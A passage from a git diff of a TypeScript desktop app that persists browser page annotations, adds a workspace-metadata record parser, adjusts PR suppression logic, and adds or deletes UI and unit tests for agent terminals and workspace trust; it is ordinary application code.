-  convertedTo: browserPageConversionOriginSchema
+  convertedTo: browserPageConversionOriginSchema,
+  // Unsent notes ride with their page so a reload or restart keeps them (#39856).
+  annotations: salvagingArray(browserPageAnnotationSchema).optional()
 })
 
 const browserHistoryEntrySchema = z.object({
diff --git a/src/shared/workspace-session/workspace-session-state-types.ts b/src/shared/workspace-session/workspace-session-state-types.ts
index fe69e9c3c70..5cb6962f4f3 100644
--- a/src/shared/workspace-session/workspace-session-state-types.ts
+++ b/src/shared/workspace-session/workspace-session-state-types.ts
@@ -4,6 +4,7 @@ import type { WorkspaceKey } from '../workspace-scope'
 import type { Tab, TabGroup, TabGroupLayoutNode, WorkspaceVisibleTabType } from '../tab-types'
 import type { TerminalLayoutSnapshot, TerminalTab } from '../workspace-layout/terminal-tab-types'
 import type { BrowserHistoryEntry, BrowserPage, BrowserWorkspace } from '../browser-workspace-types'
+import type { BrowserPageAnnotation } from '../browser/element-grab/browser-grab-types'
 import type { WorkspaceDocHistoryEntry } from './workspace-doc-history'
 import type { ClientHostedBrowserCloseIntent } from './client-hosted-browser-close-intent'
 import type { PairedTerminalTabCloseIntent } from '../workspace-layout/paired-terminal-tab-close-intent'
@@ -32,6 +33,9 @@ export type PersistedOpenFile = {
   liveTail?: boolean
 }
 
+/** A saved page carries its unsent notes; the store keeps them in browserAnnotationsByPageId. */
+export type PersistedBrowserPage = BrowserPage & { annotations?: BrowserPageAnnotation[] }
+
 export type WorkspaceSessionState = {
   activeRepoId: string | null
   /** Scope-aware active owner for folder workspaces. Legacy worktree UI still reads activeWorktreeId. */
@@ -56,7 +60,7 @@ export type WorkspaceSessionState = {
   /** Persisted browser workspaces, keyed by worktree ID. */
   browserTabsByWorktree?: Record<string, BrowserWorkspace[]>
   /** Persisted browser pages, keyed by workspace ID. */
-  browserPagesByWorkspace?: Record<string, BrowserPage[]>
+  browserPagesByWorkspace?: Record<string, PersistedBrowserPage[]>
   /** Per-worktree active browser workspace ID at shutdown. */
   activeBrowserTabIdByWorktree?: Record<string, string | null>
   /** Runtime-authoritative logical client-hosted pages; desktop browserPagesByWorkspace holds the client half. */
diff --git a/src/shared/worktree/github-pr-suppression.ts b/src/shared/worktree/github-pr-suppression.ts
index f89ccbfc8e2..e7d671e59ce 100644
--- a/src/shared/worktree/github-pr-suppression.ts
+++ b/src/shared/worktree/github-pr-suppression.ts
@@ -10,10 +10,14 @@ export function isGitHubPRSuppressed(
   return linkedPR === null && suppressedGitHubPR === prNumber
 }
 
+/** Selecting a PR lifts a suppression; restating the already-selected PR leaves it alone. */
 export function normalizeGitHubPRSuppressionUpdate(
-  updates: Partial<WorktreeMeta>
+  updates: Partial<WorktreeMeta>,
+  currentLinkedPR?: number | null
 ): Partial<WorktreeMeta> {
-  return typeof updates.linkedPR === 'number' && updates.linkedPR > 0
+  return typeof updates.linkedPR === 'number' &&
+    updates.linkedPR > 0 &&
+    updates.linkedPR !== currentLinkedPR
     ? { ...updates, suppressedGitHubPR: null }
     : updates
 }
diff --git a/src/shared/worktree/types.ts b/src/shared/worktree/types.ts
index 1eb076a08ff..3bf89f8e919 100644
--- a/src/shared/worktree/types.ts
+++ b/src/shared/worktree/types.ts
@@ -258,6 +258,8 @@ export type DetectedWorktreeListResult = {
   failureKind?: WorktreeScanFailureKind
   /** Which catalog this listing describes; additive, older hosts omit it. */
   catalogVersion?: WorktreeCatalogVersion
+  /** The producer's workspaceMetadata position when this listing read metadata; additive, older hosts omit it. */
+  workspaceMetadata?: { epoch: string; seq: number }
   /** The repo's WSL distro is stopped or unverifiable, so rows are stored ones; additive, older hosts omit it. */
   wslDistroStopped?: { distro: string; state: 'stopped' | 'unverifiable' }
 }
diff --git a/src/shared/worktree/workspace-metadata-set.ts b/src/shared/worktree/workspace-metadata-set.ts
new file mode 100644
index 00000000000..b66b8550e8e
--- /dev/null
+++ b/src/shared/worktree/workspace-metadata-set.ts
@@ -0,0 +1,84 @@
+import { normalizeExecutionHostId, type ExecutionHostId } from '../execution-host'
+import { normalizeStoredTaskSourceContext } from '../work-items/task-source-context'
+import { normalizeWorkspaceAttachments } from '../workspace-attachments/workspace-attachment-normalization'
+import { normalizeWorkspaceLinkedItem } from '../workspace-attachments/workspace-linked-item'
+import type { WorktreeMeta } from './meta-types'
+
+/** A producer's `workspaceMetadata` position: records with `seq` at or below it are in what it read. */
+export type WorkspaceMetadataCursor = { epoch: string; seq: number }
+
+/** The workspace-metadata fields a producer publishes today; the row widens without changing the envelope. */
+export type WorkspaceMetadataSetRow = Pick<
+  WorktreeMeta,
+  'linkedItems' | 'linkedWorkItem' | 'linkedIssue' | 'linkedTaskSourceContext'
+>
+
+/**
+ * One addressed `set` record in a producer host's `workspaceMetadata` domain: full current values for one
+ * workspace, ordered by `seq` within `epoch`. A gap, a new epoch or an unknown row falls back to the listing.
+ */
+export type WorkspaceMetadataSet = {
+  kind: 'set'
+  domain: 'workspaceMetadata'
+  hostId: ExecutionHostId
+  epoch: string
+  seq: number
+  // Host-qualified worktree identity; repoId and worktreeId route it to the client's listing.
+  id: string
+  repoId: string
+  worktreeId: string
+  row: WorkspaceMetadataSetRow
+}
+
+export function workspaceMetadataSetRow(meta: WorktreeMeta): WorkspaceMetadataSetRow {
+  return {
+    linkedItems: meta.linkedItems,
+    linkedWorkItem: meta.linkedWorkItem,
+    linkedIssue: meta.linkedIssue,
+    linkedTaskSourceContext: meta.linkedTaskSourceContext
+  }
+}
+
+function isRecord(value: unknown): value is Record<string, unknown> {
+  return typeof value === 'object' && value !== null && !Array.isArray(value)
+}
+
+/** A well-formed record, or null when an older or malformed producer sent something else. */
+export function readWorkspaceMetadataSet(value: unknown): WorkspaceMetadataSet | null {
+  if (!isRecord(value) || !isRecord(value.row)) {
+    return null
+  }
+  const { kind, domain, epoch, seq, id, repoId, worktreeId, row } = value
+  const hostId = normalizeExecutionHostId(typeof value.hostId === 'string' ? value.hostId : null)
+  if (
+    kind !== 'set' ||
+    domain !== 'workspaceMetadata' ||
+    !hostId ||
+    typeof epoch !== 'string' ||
+    typeof seq !== 'number' ||
+    !Number.isSafeInteger(seq) ||
+    typeof id !== 'string' ||
+    typeof repoId !== 'string' ||
+    typeof worktreeId !== 'string' ||
+    !Array.isArray(row.linkedItems) ||
+    (row.linkedIssue !== null && typeof row.linkedIssue !== 'number')
+  ) {
+    return null
+  }
+  return {
+    kind,
+    domain,
+    hostId,
+    epoch,
+    seq,
+    id,
+    repoId,
+    worktreeId,
+    row: {
+      linkedItems: normalizeWorkspaceAttachments(row.linkedItems),
+      linkedWorkItem: normalizeWorkspaceLinkedItem(row.linkedWorkItem),
+      linkedIssue: row.linkedIssue,
+      linkedTaskSourceContext: normalizeStoredTaskSourceContext(row.linkedTaskSourceContext)
+    }
+  }
+}
diff --git a/src/shared/wsl-move/wsl-move-storage-dispositions.ts b/src/shared/wsl-move/wsl-move-storage-dispositions.ts
index a4128817d6e..72cfd1c3280 100644
--- a/src/shared/wsl-move/wsl-move-storage-dispositions.ts
+++ b/src/shared/wsl-move/wsl-move-storage-dispositions.ts
@@ -1,8 +1,5 @@
-import {
-  moveDisposition,
-  notApplicableDisposition,
-  type WslMoveFieldDisposition
-} from './wsl-move-dispositions'
+import { moveDisposition, notApplicableDisposition } from './wsl-move-dispositions'
+import type { WslMoveFieldDisposition } from './wsl-move-dispositions'
 
 /** Census tests require a disposition for each renderer module using localStorage. */
 export const LOCAL_STORAGE_MODULE_DISPOSITIONS: Record<string, WslMoveFieldDisposition> = {
@@ -40,10 +37,11 @@ export const LOCAL_STORAGE_MODULE_DISPOSITIONS: Record<string, WslMoveFieldDispo
       62,
       "A Windows-drive conversion's own record of which renderer rewrites landed; keyed by its id."
     ),
-  'src/renderer/src/lib/desktop-created-server-tabs.ts': notApplicableDisposition(
-    60,
-    'Tabs this desktop created in a paired server workspace, keyed by that server; a local or WSL project has none.'
-  ),
+  'src/renderer/src/store/workspace-layout/frames/desktop-created-server-tabs.ts':
+    notApplicableDisposition(
+      60,
+      'Tabs this desktop created in a paired server workspace, keyed by that server; a local or WSL project has none.'
+    ),
   'src/renderer/src/store/slices/worktrees/session/worktree-visit-recency.ts':
     notApplicableDisposition(
       32,
@@ -86,8 +84,8 @@ export const LOCAL_STORAGE_MODULE_DISPOSITIONS: Record<string, WslMoveFieldDispo
       'src/renderer/src/components/UnexpectedSignoutCard.tsx',
       'src/renderer/src/lib/document-theme.ts',
       'src/renderer/src/diagnostics/telemetry/feature-education-telemetry.ts',
-      'src/renderer/src/lib/orchestration-setup-state.ts',
-      'src/renderer/src/lib/terminal-shortcut-capture-notification.tsx',
+      'src/renderer/src/components/orchestration/setup/orchestration-setup-state.ts',
+      'src/renderer/src/lib/notifications/terminal-shortcut-capture-notification.tsx',
       'src/renderer/src/web/preload-api/web-keybindings-api.ts',
       'src/renderer/src/web/preload-api/web-onboarding-api.ts',
       'src/renderer/src/web/preload-api/web-preferences-store.ts',
diff --git a/src/shared/wsl-move/wsl-move-ui-dispositions.ts b/src/shared/wsl-move/wsl-move-ui-dispositions.ts
index c4f3f468c44..bb95889ad7d 100644
--- a/src/shared/wsl-move/wsl-move-ui-dispositions.ts
+++ b/src/shared/wsl-move/wsl-move-ui-dispositions.ts
@@ -121,6 +121,7 @@ export const UI_STATE_GLOBAL_FIELDS = [
   'statusBarVisible',
   'usagePercentageDisplay',
   'statusBarUsageMode',
+  'statusBarUsageFormat',
   'dismissedUpdateVersion',
   'dismissedUnexpectedSignoutVersion',
   'lastUpdateCheckAt',
diff --git a/tests/component-fixtures/native-chat-backdrop.spec.ts b/tests/component-fixtures/native-chat-backdrop.spec.ts
new file mode 100644
index 00000000000..b7f60f98a1c
--- /dev/null
+++ b/tests/component-fixtures/native-chat-backdrop.spec.ts
@@ -0,0 +1,43 @@
+import { expect, test, type Page } from '@playwright/test'
+
+async function pixels(page: Page, sample: string): Promise<Buffer> {
+  return page.locator(`[data-paint-sample="${sample}"]`).screenshot()
+}
+
+test('material reaches chat without changing the neighboring terminal or exposing covered content', async ({
+  page
+}) => {
+  await page.goto('/fixtures.html?id=native-chat/appearance/NativeChatBackdrop:material&theme=dark')
+  await expect(page.locator('html')).toHaveAttribute('data-fixture-state', 'ready')
+  const backdrop = page.locator('[data-test-backdrop]')
+  await backdrop.evaluate((element) => (element.style.background = 'white'))
+  const neighbor = await pixels(page, 'neighbor')
+  await page.getByRole('button', { name: 'Toggle split chat' }).click()
+  expect(await pixels(page, 'neighbor')).toEqual(neighbor)
+
+  const samples = ['single', 'split', 'structured']
+  const lightBare = await pixels(page, 'bare')
+  const light = await Promise.all(samples.map((sample) => pixels(page, sample)))
+  for (const painted of light) {
+    expect(painted.equals(lightBare)).toBe(false)
+  }
+  await backdrop.evaluate((element) => (element.style.background = 'black'))
+  const darkBare = await pixels(page, 'bare')
+  for (const [index, sample] of samples.entries()) {
+    const painted = await pixels(page, sample)
+    expect(painted.equals(light[index])).toBe(false)
+    expect(painted.equals(darkBare)).toBe(false)
+  }
+
+  const covered = await pixels(page, 'split')
+  const neighborDark = await pixels(page, 'neighbor')
+  await page.locator('[data-terminal-ink]').evaluateAll((elements) => {
+    for (const element of elements) {
+      if (element instanceof HTMLElement) {
+        element.style.background = 'red'
+      }
+    }
+  })
+  expect(await pixels(page, 'split')).toEqual(covered)
+  expect((await pixels(page, 'neighbor')).equals(neighborDark)).toBe(false)
+})
diff --git a/tests/e2e/agent-sender-open-unheld.unit.test.ts b/tests/e2e/agent-sender-open-unheld.unit.test.ts
deleted file mode 100644
index b4ec4889cd9..00000000000
--- a/tests/e2e/agent-sender-open-unheld.unit.test.ts
+++ /dev/null
@@ -1,382 +0,0 @@
-// @vitest-environment happy-dom
-// A card's located terminal that this window holds no tab for opens that same pane, through the
-// host's own pane resolver; the card's saved address is never looked up again.
-import { cleanup, renderHook } from '@testing-library/react'
-import { afterEach, beforeEach, expect, it, vi } from 'vitest'
-
-const mocks = vi.hoisted(() => ({
-  callRuntimeRpc: vi.fn(),
-  focusRenderer: vi.fn((_handle: string, _environmentId?: string | null) => false),
-  focusRuntime: vi.fn(async (_handle: string, _environmentId: string | null) => undefined),
-  toastInfo: vi.fn(),
-  toastError: vi.fn()
-}))
-vi.mock('@/components/terminal-pane/links/handles/terminal-handle-links', () => ({
-  focusRendererTerminalHandle: mocks.focusRenderer,
-  focusRuntimeTerminalHandle: mocks.focusRuntime
-}))
-vi.mock('@/runtime/rpc/calls/runtime-rpc-call', async (original) => ({
-  ...(await original<Record<string, unknown>>()),
-  callRuntimeRpc: mocks.callRuntimeRpc
-}))
-vi.mock('sonner', async (original) => ({
-  ...(await original<Record<string, unknown>>()),
-  toast: { info: mocks.toastInfo, error: mocks.toastError }
-}))
-
-import { useAppStore } from '@/store'
-import { makeTab } from '@/store/terminals/terminal-tab.test-fixture'
-import { openAgentMessageSender } from '@/lib/open-agent-message-sender'
-import { RuntimeRpcCallError } from '@/runtime/rpc/calls/runtime-rpc-result'
-import { useAgentMessageSenderView } from '@/components/native-chat/messages/agent-senders/native-chat-agent-message-sender-view'
-import {
-  agentMessageSenderOpens,
-  resolveAgentMessageSenderTarget
-} from '@/components/native-chat/messages/agent-senders/native-chat-agent-message-sender-target'
-import {
-  initialStore,
-  LEAF,
-  resetSenderStore,
-  status
-} from '@/components/native-chat/messages/agent-senders/native-chat-agent-sender.test-fixture'
-import { OrcaRuntimeService } from '../../src/main/runtime/orca-runtime'
-import { RpcDispatcher } from '../../src/main/runtime/rpc/dispatcher'
-import { TERMINAL_QUERY_METHODS } from '../../src/main/runtime/rpc/methods/terminal/terminal-query-methods'
-import { MIRROR_LEAVES_STEP_1 } from '../../src/main/runtime/terminal/records/runtime-leaf-record-projection.test-fixture'
-import type { AgentSenderAssociation } from '../../src/shared/agent-sender-associations'
-import type { AgentMessageSender } from '../../src/shared/agent-session/agent-session-message-source'
-import type { RuntimeClientTarget } from '../../src/shared/runtime-client-target'
-import { toRemoteRuntimePtyId } from '../../src/shared/remote-runtime/remote-runtime-pty-id'
-import { toWebTerminalSurfaceTabId } from '../../src/shared/workspace-layout/terminal-surface-id'
-
-const LOCAL: RuntimeClientTarget = { kind: 'local' }
-const PAIRED: RuntimeClientTarget = { kind: 'environment', environmentId: 'paired' }
-const pane = (tab: string) => `${tab}:${LEAF}`
-
-/** A real host runtime whose terminals are leaves; its RPC server answers the window. */
-function hostRuntime() {
-  const runtime = new OrcaRuntimeService(null)
-  const dispatcher = new RpcDispatcher({ runtime, methods: TERMINAL_QUERY_METHODS })
-  const open = (tabId: string, worktreeId: string): string => {
-    const leaf = {
-      ...MIRROR_LEAVES_STEP_1[0],
-      tabId,
-      leafId: LEAF,
-      worktreeId,
-      ptyId: `pty-${tabId}`,
-      connected: true
-    }
-    runtime['terminalIdentity'].replaceLeaves(
-      new Map(runtime['leaves']).set(runtime['getLeafKey'](tabId, LEAF), leaf)
-    )
-    return runtime['issueHandle'](leaf)
-  }
-  const close = (tabId: string) => {
-    const leaves = new Map(runtime['leaves'])
-    const removed = leaves.delete(runtime['getLeafKey'](tabId, LEAF))
-    runtime['terminalIdentity'].replaceLeaves(leaves)
-    return removed
-  }
-  const answer = async (method: string, params: unknown) => {
-    const response = await dispatcher.dispatch({
-      id: `rpc_${method}`,
-      authToken: 'test-token',
-      method,
-      params
-    })
-    if (!response.ok) {
-      throw new RuntimeRpcCallError(response)
-    }
-    return response.result
-  }
-  return { open, close, answer }
-}
-
-let host: ReturnType<typeof hostRuntime>
-let calls: { target: unknown; method: string; params: unknown }[] = []
-let duringLookup = () => {}
-
-const worker = (address: string): AgentMessageSender => ({
-  party: { address, terminalHandle: address, orcaSessionId: null },
-  name: 'Worker',
-  agent: 'claude'
-})
-const publish = (hostId: string, associations: AgentSenderAssociation[], revision = 1) =>
-  useAppStore.getState().setAgentSenderPublication(hostId, {
-    associations,
-    principals: [],
-    attachments: [],
-    revision: { epoch: 'host', revision }
-  })
-const open = (sender: AgentMessageSender, target: RuntimeClientTarget = LOCAL) =>
-  openAgentMessageSender(
-    { kind: 'agent', senders: [sender], orchestration: null },
-    sender,
-    'workspace',
-    target,
-    'first',
-    'Worker'
-  )
-const asked = (method: string) => calls.filter((call) => call.method === method)
-
-beforeEach(() => {
-  vi.useFakeTimers({ toFake: ['Date'] })
-  vi.setSystemTime(2_000_000)
-  resetSenderStore()
-  host = hostRuntime()
-  calls = []
-  duringLookup = () => {}
-  mocks.callRuntimeRpc.mockImplementation(
-    async (target: unknown, method: string, params: unknown) => {
-      calls.push({ target, method, params })
-      if (method !== 'terminal.resolvePane') {
-        throw new Error(`the click asked the host ${method}`)
-      }
-      duringLookup()
-      return host.answer(method, params)
-    }
-  )
-  for (const mock of [mocks.focusRenderer, mocks.focusRuntime, mocks.toastInfo, mocks.toastError]) {
-    mock.mockClear()
-  }
-})
-afterEach(() => {
-  cleanup()
-  useAppStore.setState(initialStore, true)
-  vi.useRealTimers()
-})
-
-/** A worker that first ran in tab-0, which this window holds, and was reopened by a follow-up
- *  in tab-1, which this window has no tab for yet. */
-function reopenedWorker(first: 'live' | 'gone') {
-  const firstHandle = first === 'live' ? host.open('tab-0', 'workspace') : 'term_before'
-  const reopened = host.open('tab-1', 'workspace')
-  publish('local', [
-    {
-      identity: 'dispatch:first',
-      dispatchActor: true,
-      paneKey: pane('tab-1'),
-      worktreeId: 'workspace'
-    },
-    ...(first === 'live'
-      ? [{ identity: firstHandle, paneKey: pane('tab-0'), worktreeId: 'workspace' }]
-      : [{ identity: firstHandle, paneKey: pane('tab-1'), worktreeId: 'workspace' }])
-  ])
-  return { sender: worker(firstHandle), reopened }
-}
-
-it('focuses the handle the reopened pane’s own status row holds, asking the host nothing', async () => {
-  const { sender, reopened } = reopenedWorker('live')
-  useAppStore.setState({
-    agentStatusByPaneKey: {
-      [status(0).paneKey]: status(0),
-      [status(1).paneKey]: { ...status(1), terminalHandle: reopened }
-    }
-  })
-  await open(sender)
-  expect(calls).toEqual([])
-  expect(mocks.focusRuntime).toHaveBeenCalledWith(reopened, null)
-})
-
-it('asks the host for the reopened pane when its status row has no handle, while the first terminal still runs', async () => {
-  const { sender, reopened } = reopenedWorker('live')
-  const { terminalHandle: _none, ...unhandled } = status(1)
-  useAppStore.setState({
-    agentStatusByPaneKey: { [status(0).paneKey]: status(0), [status(1).paneKey]: unhandled }
-  })
-  const resolved = resolveAgentMessageSenderTarget(
-    useAppStore.getState(),
-    sender,
-    'workspace',
-    LOCAL,
-    'first'
-  )
-  expect(resolved.kind === 'located' && resolved.location.paneKey).toBe(pane('tab-1'))
-  expect(agentMessageSenderOpens(resolved, sender)).toBe(true)
-  const avatar = renderHook(() => useAgentMessageSenderView(sender, 'workspace', LOCAL, 'first'))
-  expect(avatar.result.current.dot).toBe('working')
-  await open(sender)
-  expect(calls).toEqual([
-    {
-      target: LOCAL,
-      method: 'terminal.resolvePane',
-      params: { paneKey: pane('tab-1'), worktreeId: 'workspace' }
-    }
-  ])
-  expect(mocks.focusRuntime).toHaveBeenCalledWith(reopened, null)
-})
-
-it('opens the reopened pane when the first terminal is gone and no status has arrived', async () => {
-  const { sender, reopened } = reopenedWorker('gone')
-  useAppStore.setState({ agentStatusByPaneKey: {} })
-  await open(sender)
-  expect(asked('orchestration.partyLocation')).toEqual([])
-  expect(asked('terminal.resolvePane')).toHaveLength(1)
-  expect(mocks.focusRuntime).toHaveBeenCalledWith(reopened, null)
-  expect(mocks.toastInfo).not.toHaveBeenCalled()
-})
-
-it('says the worker stopped when its pane closed on the host, and opens no other terminal', async () => {
-  const { sender } = reopenedWorker('live')
-  useAppStore.setState({ agentStatusByPaneKey: {} })
-  host.close('tab-1')
-  await open(sender)
-  expect(asked('terminal.resolvePane')).toHaveLength(1)
-  expect(mocks.focusRuntime).not.toHaveBeenCalled()
-  expect(mocks.focusRenderer).not.toHaveBeenCalled()
-  expect(mocks.toastInfo).toHaveBeenCalledWith(
-    'Worker is no longer running. Start a new agent from the sidebar to continue its work.'
-  )
-  expect(mocks.toastError).not.toHaveBeenCalled()
-})
-
-it('acts on what the card names after the host answers, not on what it named at the click', async () => {
-  const { sender, reopened } = reopenedWorker('live')
-  useAppStore.setState({ agentStatusByPaneKey: {} })
-  // While the host answers, the worker's follow-up ends: the card names its first terminal again.
-  duringLookup = () =>
-    publish(
-      'local',
-      [
-        {
-          identity: sender.party.address,
-          dispatchActor: true,
-          paneKey: pane('tab-0'),
-          worktreeId: 'workspace'
-        }
-      ],
-      2
-    )
-  await open(sender)
-  expect(mocks.focusRuntime).not.toHaveBeenCalledWith(reopened, null)
-  expect(useAppStore.getState().activeTabId).toBe('tab-0')
-})
-
-it('opens a held tab itself, without asking the host', async () => {
-  const { sender } = reopenedWorker('live')
-  useAppStore.setState({
-    tabsByWorktree: {
-      workspace: [
-        makeTab({ id: 'tab-0', worktreeId: 'workspace' }),
-        makeTab({ id: 'tab-1', worktreeId: 'workspace' })
-      ]
-    }
-  })
-  await open(sender)
-  expect(useAppStore.getState().activeTabId).toBe('tab-1')
-  expect(calls).toEqual([])
-})
-
-it('asks a paired host for the pane by its own coordinates, not this window’s alias for it', async () => {
-  const reopened = host.open('tab-1', 'host-workspace')
-  // This window mirrors the host's tab-1 under its own tab id, in another worktree bucket.
-  const mirrored = toWebTerminalSurfaceTabId(`tab-1::${LEAF}`)
-  useAppStore.setState({
-    agentStatusByPaneKey: {},
-    tabsByWorktree: {
-      workspace: [
-        makeTab({
-          id: mirrored,
-          worktreeId: 'workspace',
-          ptyId: toRemoteRuntimePtyId(reopened, 'paired')
-        })
-      ]
-    }
-  })
-  publish('runtime:paired', [
-    {
-      identity: 'dispatch:first',
-      dispatchActor: true,
-      paneKey: pane('tab-1'),
-      worktreeId: 'host-workspace'
-    }
-  ])
-  const sender = worker('term_before')
-  const resolved = resolveAgentMessageSenderTarget(
-    useAppStore.getState(),
-    sender,
-    'workspace',
-    PAIRED,
-    'first'
-  )
-  expect(resolved.kind === 'located' && resolved.location.paneKey).toBe(`${mirrored}:${LEAF}`)
-  await open(sender, PAIRED)
-  expect(calls).toEqual([
-    {
-      target: PAIRED,
-      method: 'terminal.resolvePane',
-      params: { paneKey: pane('tab-1'), worktreeId: 'host-workspace' }
-    }
-  ])
-  expect(mocks.focusRuntime).toHaveBeenCalledWith(reopened, 'paired')
-})
-
-it('shows and opens a paired host’s pane under the window’s whole-tab mirror of it', async () => {
-  const reopened = host.open('tab-2', 'workspace')
-  // This window mirrors the host's whole tab-2, keeping its leaf ids, as its status rows name it.
-  const mirrored = toWebTerminalSurfaceTabId('tab-2')
-  const mirroredPane = `${mirrored}:${LEAF}`
-  useAppStore.setState({
-    agentStatusByPaneKey: {
-      [mirroredPane]: {
-        ...status(2),
-        paneKey: mirroredPane,
-        terminalHandle: reopened,
-        connectionId: 'paired'
-      }
-    },
-    tabsByWorktree: {
-      workspace: [
-        makeTab({
-          id: mirrored,
-          worktreeId: 'workspace',
-          ptyId: toRemoteRuntimePtyId(reopened, 'paired')
-        })
-      ]
-    }
-  })
-  publish('runtime:paired', [
-    {
-      identity: 'dispatch:first',
-      dispatchActor: true,
-      paneKey: pane('tab-2'),
-      worktreeId: 'workspace'
-    }
-  ])
-  const sender = worker('term_before')
-  const resolved = resolveAgentMessageSenderTarget(
-    useAppStore.getState(),
-    sender,
-    'workspace',
-    PAIRED,
-    'first'
-  )
-  expect(resolved.kind === 'located' && resolved.location).toMatchObject({
-    paneKey: mirroredPane,
-    hostPaneKey: pane('tab-2')
-  })
-  expect(agentMessageSenderOpens(resolved, sender)).toBe(true)
-  const avatar = renderHook(() => useAgentMessageSenderView(sender, 'workspace', PAIRED, 'first'))
-  expect(avatar.result.current.dot).toBe('working')
-  await open(sender, PAIRED)
-  expect(calls).toEqual([])
-  expect(useAppStore.getState().activeTabId).toBe(mirrored)
-
-  // Another bucket mirrors that pane on its own: this window names it two ways, so the card
-  // locates neither, as with two per-pane mirrors.
-  useAppStore.setState({
-    tabsByWorktree: {
-      ...useAppStore.getState().tabsByWorktree,
-      other: [
-        makeTab({
-          id: toWebTerminalSurfaceTabId(`tab-2::${LEAF}`),
-          worktreeId: 'other',
-          ptyId: toRemoteRuntimePtyId(reopened, 'paired')
-        })
-      ]
-    }
-  })
-  expect(
-    resolveAgentMessageSenderTarget(useAppStore.getState(), sender, 'workspace', PAIRED, 'first')
-  ).toEqual({ kind: 'gone', sender: 'terminal' })
-})
diff --git a/tests/e2e/agent-workspace-trust-first-launch.spec.ts b/tests/e2e/agent-workspace-trust-first-launch.spec.ts
deleted file mode 100644
index da4d356cd12..00000000000
--- a/tests/e2e/agent-workspace-trust-first-launch.spec.ts
+++ /dev/null
@@ -1,84 +0,0 @@
-import type { Page } from '@stablyai/playwright-test'
-import { expect, test } from './helpers/orca-app'
-import {
-  configureGoldenStubAgent,
-  getGoldenStubAgentLaunchEnv,
-  GOLDEN_STUB_READY_MARKER
-} from './helpers/golden-stub-agent'
-import { addRepoWithWorkspaces } from './helpers/repo-with-workspaces'
-import { ensureTerminalVisible, switchToWorktree, waitForSessionReady } from './helpers/store'
-import { focusActiveTerminalInput, waitForTerminalOutput } from './helpers/terminal'
-
-test.use({ launchEnv: getGoldenStubAgentLaunchEnv() })
-
-const CLAUDE_MENU_ITEM = /^Claude(?:\s|$)/i
-
-async function startClaudeFromNewTab(page: Page): Promise<void> {
-  await page.getByRole('button', { name: 'New tab' }).click({ force: true })
-  const launchOption = page.getByRole('menuitem', { name: CLAUDE_MENU_ITEM }).first()
-  await expect(launchOption).toBeVisible({ timeout: 15_000 })
-  await launchOption.click({ force: true })
-}
-
-async function waitForAgentReady(page: Page): Promise<void> {
-  await focusActiveTerminalInput(page)
-  await waitForTerminalOutput(page, GOLDEN_STUB_READY_MARKER, 20_000)
-}
-
-async function readRepoDecision(page: Page, repoId: string): Promise<string | null> {
-  return page.evaluate(
-    (id) =>
-      window.__store?.getState().repos.find((repo) => repo.id === id)?.agentWorkspaceTrust ?? null,
-    repoId
-  )
-}
-
-test('the first agent launch in a new repo asks once, and its worktrees share the answer', async ({
-  orcaPage
-}, testInfo) => {
-  await waitForSessionReady(orcaPage)
-  await configureGoldenStubAgent(orcaPage, { agent: 'claude' })
-  // A repo added now has no stored answer, like a fresh clone after the upgrade.
-  const { repoId, mainId, ids } = await addRepoWithWorkspaces(orcaPage, testInfo, 1)
-  await switchToWorktree(orcaPage, mainId)
-  await ensureTerminalVisible(orcaPage)
-
-  await startClaudeFromNewTab(orcaPage)
-  const prompt = orcaPage.getByRole('dialog', { name: /for agents\?$/ })
-  await expect(prompt).toBeVisible({ timeout: 15_000 })
-  await orcaPage.screenshot({ path: testInfo.outputPath('first-launch-prompt.png') })
-  expect(await readRepoDecision(orcaPage, repoId)).toBeNull()
-
-  await prompt.getByRole('button', { name: 'Let agents ask', exact: true }).click()
-  await expect(prompt).toBeHidden()
-  await waitForAgentReady(orcaPage)
-  expect(await readRepoDecision(orcaPage, repoId)).toBe('agent-asks')
-
-  // Another worktree of the same repo reuses the stored answer.
-  const [sibling] = ids
-  if (!sibling) {
-    throw new Error('the repo needs a second worktree')
-  }
-  await switchToWorktree(orcaPage, sibling)
-  await ensureTerminalVisible(orcaPage)
-  await startClaudeFromNewTab(orcaPage)
-  await waitForAgentReady(orcaPage)
-  await expect(prompt).toHaveCount(0)
-
-  await orcaPage.evaluate((id) => {
-    const state = window.__store?.getState()
-    state?.setSettingsSearchQuery('')
-    state?.openSettingsTarget({ pane: 'repo', repoId: id })
-    state?.openSettingsPage()
-  }, repoId)
-  const trustControl = orcaPage.getByRole('radiogroup', { name: 'Agent Folder Trust' })
-  await trustControl.scrollIntoViewIfNeeded()
-  await expect(trustControl.getByRole('radio', { name: 'Let agents ask' })).toHaveAttribute(
-    'aria-checked',
-    'true'
-  )
-  await orcaPage.screenshot({ path: testInfo.outputPath('repo-setting.png') })
-
-  await trustControl.getByRole('radio', { name: 'Trust repository' }).click()
-  await expect.poll(() => readRepoDecision(orcaPage, repoId)).toBe('pre-trust')
-})
diff --git a/tests/e2e/ai-vault-account-stream-desktop-test-fixture.ts b/tests/e2e/ai-vault-account-stream-desktop-test-fixture.ts
deleted file mode 100644
index b295f7ccbc0..00000000000
--- a/tests/e2e/ai-vault-account-stream-desktop-test-fixture.ts
+++ /dev/null
@@ -1,238 +0,0 @@
-import {
-  RuntimeRpcEnvelopeSchema,
-  type RuntimeRpcResponse
-} from '../../src/shared/runtime-rpc-envelope'
-import { vi, type Mock } from 'vitest'
-import type { RpcContext } from '../../src/main/runtime/rpc/core'
-import { registerRuntimeHandlers } from '../../src/main/ipc/runtime'
-import { RpcDispatcher } from '../../src/main/runtime/rpc/dispatcher'
-import { runtimeApi } from '../../src/preload/api/runtime-bridge'
-import type { RuntimeEnvironmentSubscriptionHandle } from '../../src/preload/runtime-environment-subscriptions'
-
-type DesktopListener = (_event: unknown, response: RuntimeRpcResponse<unknown>) => void
-type DesktopIpcEvent = {
-  sender: {
-    id: number
-    mainFrame: unknown
-    on: ReturnType<typeof vi.fn>
-    once: ReturnType<typeof vi.fn>
-    isDestroyed: () => boolean
-    send: (channel: string, response: RuntimeRpcResponse<unknown>) => void
-  }
-  senderFrame: unknown
-}
-const desktopIpc = vi.hoisted(() => ({
-  handlers: new Map<string, (event: DesktopIpcEvent, args: unknown) => unknown>(),
-  events: new Map<string, (event: DesktopIpcEvent, args: unknown) => void>(),
-  listeners: new Map<string, Set<DesktopListener>>(),
-  invoke: vi.fn(),
-  send: vi.fn()
-}))
-vi.mock('electron', () => ({
-  BrowserWindow: {},
-  ipcMain: {
-    handle: (channel: string, handler: (event: DesktopIpcEvent, args: unknown) => unknown) =>
-      desktopIpc.handlers.set(channel, handler),
